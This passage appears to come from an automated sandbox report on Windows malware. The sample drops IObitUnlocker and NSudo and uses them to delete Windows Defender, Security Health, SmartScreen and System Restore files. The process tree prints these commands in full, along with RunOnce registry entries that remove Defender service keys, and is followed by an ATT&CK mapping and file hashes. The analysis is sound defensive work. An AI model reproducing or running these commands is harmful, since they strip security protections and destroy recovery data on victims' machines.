scproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:2844
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1452
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5252
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4556
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:2036
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      PID:5680
    - - C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:3748
    - - C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:5964
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "5856"
      4⤵
      PID:3328
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "5856"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5844
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:1396
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5820
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

IObitUnlocker.dll

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.dll
Size 79KB
SHA256 37d2a1626dc205d60f0bec8746ab256569267e4ef2f8f84dff4d9d792aa3af30
MD5 2c6233c8dbc560027ee1427f5413e4b1
SHA1 88b7d4b896539abd11a7ad9376ef62d6a7f42896
SHA512 cc8b369b27b303dbe1daef20fa4641f0c4c46b7698d893785fa79877b5a4371574b1bb48a71b0b7b5169a5f09a2444d66e773d8bb42760cb27f4d48a286728a8
SSDEEP 1536:6CxnF5F2kGjd5KrB5ySFjxzI/7DS/7DdL:6CxnXFod8rB59thI/y/R
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.exe

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
Size 2.6MB
SHA256 eaa9dc1c9dc8620549fee54d81399488292349d2c8767b58b7d0396564fb43e7
MD5 2541290195ffe29716ebbc7aac76d82f
SHA1 d8e22adc26ef1628b826785682830c3d128a0d43
SHA512 b6130c658cfeae6b8ed004cbac85c1080f586bb53b9f423ddabaeb4c69ea965f6bca8c1bd577795ef3d67a32a4bf90c515e4d68524c23866588864d215204f91
SSDEEP 49152:JGuaHn27rhus1L9iE2XsZzkA8TbT9FuAHv:JGuaHna1kcwL/v
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 25KB
SHA256 c3938de4e85d967043f43b5e6d647ccdde6e614e86cd0cc9ef619fa17c49e4f5
MD5 da2501fbc0baaee9b704d2d90341ad2e
SHA1 124f123c70f3bb17047146a6ddd05b6953424d08
SHA512 d0f58851ed34df713f5f877f82d33e7b38146d8ec6ac0b648b3113dcefd2f9d6f6a91765c627180e3a4429a72074f4acfe5895caeb31b566de4f78f2363b81a4
SSDEEP 48:RQnlFnlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlBlBlBlBlBlBlBlBlBlBlBlBla:ink33
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 25KB
SHA256 9aa9c6af722eff6746599ff084861b73588d1f2c0f71cc8f95f93831f029f992
MD5 a151489f8ccf2cc5cdfc49d7b5f2dd9b
SHA1 0b1243ac6d92f051905924c92c9932cc958e10bd
SHA512 723d6bef0d313a9a1542bd73b722b75d1575ec61b9bf75f27afd9c46ce5e6d3145b5dfc07dd746afff4dd8ad8b91ff4426b1e6487b7ef12458600d578e6aabb5
SSDEEP 48:RQnlFnlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlBlBlBlBlBlBlBlBlBlBlBlBl+:ink3+Q3H
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 38KB
SHA256 338a4a07b58730f198ada63039bcfde1db66359d0d615f7beb1fd61a821749f5
MD5 c65f1c128aba29133926246edc7caf9d
SHA1 324594250255dcdda79d5badd948cafbea3e15bd
SHA512 b112a8177c7e778d100c7700f9d7a0474f8890ff88fd652175d36ef880050906420d5fdbcf2fbc601ad1a021b026d889c5c30b0f58e194f4fa9f465086f60d97
SSDEEP 48:RQnlFnlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlBlBlBlBlBlBlBlBlBlBlBlBlY:ink3+Q3N
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 50KB
SHA256 3e32241d125194d4ddaad7e97a29facd82d735295ba5bd1faf30c32b6b2801b4
MD5 c5c5254d447e6d3a488de9fa644d5042
SHA1 8e8d9fb380c6a10dad683b55d6a2438fdd5309f1
SHA512 6fc78b912fa65a95a585ff0de009dca8f4ccef04d0813b0a70067f17e78d11645c47f667557969e36ca58528fcccef65aafd314891d300eb46588f798af6d625
SSDEEP 48:RQnlFnlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlBlBlBlBlBlBlBlBlBlBlBlBlZ:ink3+Q3Nny
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 63KB
SHA256 6d83feddad8d31ae7c399f9332008d6f9736c6231d65ec6ad2171c97e0131b0a
MD5 a12230afce2449b0d38454cedbd02b34
SHA1 e73eb21df9af0f25ddb531b5c702908e6f7e4d1f
SHA512 65fba6904486807f76404cce15011797df91dd5a6a1366dae34db5c2645567167ca1221a87f75981faf4763efd5f705c6a6f5b9fd4a7093d3bce508f41bf4232
SSDEEP 192:0J2222222222222222222222222222222222222222222222222222222222222S:M
MD5 SHA1 SHA512 SSDEEP

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 3KB
SHA256 f5942e999cdca0bec28a0840fd20c88d30d4a3a8c959e84e2718d979f6438e9a
MD5 018b9d59088d584d2240fda5c933e1f1
SHA1 278eec474f0f5c31c401476a5799ff588c7cfb20
SHA512 d9de1323dfbe620e50fa1d65894b5946da69e9c9b4940e0be1b2ae3ee17450e94cdbd629a5ff0cc5bcedeb3226921b49535f000e433894db26ee812622b5b452
MD5 SHA1 SHA512

Submit Download

IObitUnlocker.log

Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
Size 5KB
SHA256 17f9b9cd780a6e19fb2fea364dfb2a3516f76e44df379d46f070204ffbf098ff
MD5 4e8f23747f4aff8ed800479835332eb0
SHA1 bd85627c4dbe07edc7375aaa94e663cb0b6781e5
SHA512 3e0adadd97a49052f2b20886fc4050fabca96c83b03c44f01c2627e416c7e71e2fa39591a295aa2a7f5447fce62dff9fa05208cc0b05b96612f6a5f9a0be40a6
SSDEEP 48:RQnlFnlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlIlBlBlBlBlBlBlBlF:inT
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.exe

Path C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
Size 828KB
SHA256 cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567
MD5 426ccb645e50a3143811cfa0e42e2ba6
SHA1 3c17e212a5fdf25847bc895460f55819bf48b11d
SHA512 1ab13e8e6e0ca4ca2039f104d53a5286c4196e930319c4fe374fa3bf415214bb7c7d2a9d8ca677a29c911a356cca19a1cecae16dd4bf840bce725f20de4c8ff2
SSDEEP 24576:b82Iz/8J9oDionNtypHq6geLmUB1HXBxCbx5MwRv8:bBYUzoDtiqELmW6nR8
MD5 SHA1 SHA512 SSDEEP

Submit Download

NSudoLG.exe

Path C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
Size 174KB
SHA256 5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7
MD5 423129ddb24fb923f35b2dd5787b13dd
SHA1 575e57080f33fa87a8d37953e973d20f5ad80cfd
SHA512 d3f904c944281e9be9788acea9cd31f563c5a764e927bcda7bae6bedcc6ae550c0809e49fd2cf00d9e143281d08522a4f484acc8d90b37111e2c737e91ae21ce
SSDEEP 3072:XVLC09ymR7sITY17jR7h05cDnxngU9yInRU+Wi+StbaoJLQfo8BuA6N3ls:XT9yO7sITYNmYnbyInRU+Wi+StbaoJLR
MD5 SHA1 SHA512 SSDEEP

Submit Download

game.exe

Path C:\Users\Admin\AppData\Local\Temp\hater\game.exe
Size 1.3MB
SHA256 08fc54e62b767b35ab3b88a5026c1a7da7fe3da58b289ab72468d3bb8180cf4c
MD5 253c294e41a4346de7d917072165097c
SHA1 b634103e9ae3ab8b71a2ccf2baeec91335f3076c
SHA512 c22d3132b67cc48018d1030f352016e4ae88ce3b5d293c91d4aa15ff3935d9ae69bac41b53a5b2ece7dbf3d88542e35dca9dacf0071c2bdacade41c90e137ded
SSDEEP 24576:e+dg7N9lk6WM/REZax9WVd9n4ywJR2AALh5a6iH3CjiNk2C:e+dgqMpE4A94ywzgTa6iSjIM
MD5 SHA1 SHA512 SSDEEP

Submit Download

land.zip

Path C:\Users\Admin\AppData\Local\Temp\hater\land.zip
Size 1.3MB
SHA256 b6f8e88fc311a3c5c322191b0acf2a07bf43c6b2c9c1d20e80f9e05df67c2af5
MD5 6ad69bf37209e41b0e55d8532abbd884
SHA1 f387dc9a0637738756d126060e9f1f0b6c647c76
SHA512 244d274005261b922dbf38e26d838e28090f068dbc81b134cd2fae147b9f3a5935e99caeda1d964fcb237a7161e68aa41abcca1543f55fabb1846bbe13dde610
SSDEEP 24576:cH95vsXH8lRaPCaaZ/zsj6cHOgNbVM5CsUKQnPZlgbWqZAqdDHHg3euo:cdAH8WCRzsPHOlIsUKoeFZKA
MD5 SHA1 SHA512 SSDEEP

Submit Download

nircmd.exe

Path C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
Size 117KB
SHA256 2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda
MD5 4a9da765fd91e80decfd2c9fe221e842
SHA1 6f763fbd2b37b2ce76a8e874b05a8075f48d1171
SHA512 4716e598e4b930a0ec89f4d826afaa3dade22cf002111340bc253a618231e88f2f5247f918f993ed15b8ce0e3a97d6838c12b17616913e48334ee9b713c1957a
SSDEEP 3072:oG0tOQJC9TPafQy26RAA3hh5Tgr559MJZpOSDUDyjHHKHlLz1Ms/b:2OQJC9uICA11l1MYb
MD5 SHA1 SHA512 SSDEEP

Submit Download

quEv9xq.bat

Path C:\Users\Admin\AppData\Local\Temp\quEv9xq.bat
Size 10KB
SHA256 07bc6a2ed72e02e1988d152188bed752c21ab5282649f22c4c168a176cbdc690
MD5 a43ffd6b86ec1d617fd2872fd3118af5
SHA1 d757ee62841f2e5069690ecc83e24181050881f6
SHA512 258d1e4df7b4ad14414cc9c96c1070c27025621e4e70eca8221d13af8a926098e9db36bf8ad190a52725f3aeda583b734fb467dc55b9aa9b46b34e06aa9528aa
SSDEEP 192:Wxm+iy0eSTBi4+wZIS3xrkeqOLmDn07EFftqxxENZgoRGRLhK8OIOry:W4+iy0eO/+wZIgd6OLmDn07EFftqxK7o
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1196-27-0x000001EDBF020000-0x000001EDBF178000-memory.dmp

Download

memory/1196-28-0x000001EDD95C0000-0x000001EDD971A000-memory.dmp

Download

memory/1452-200-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/2036-419-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/2844-127-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/2872-32-0x00000240BC550000-0x00000240BC562000-memory.dmp

Download

memory/2872-30-0x00000240A39A0000-0x00000240A39AA000-memory.dmp

Download

memory/4556-346-0x0000000000400000-0x00000000006DC000-memory.dmp

Download

memory/5252-273-0x0000000000400000-0x00000000006DC000-memory.dmp

Download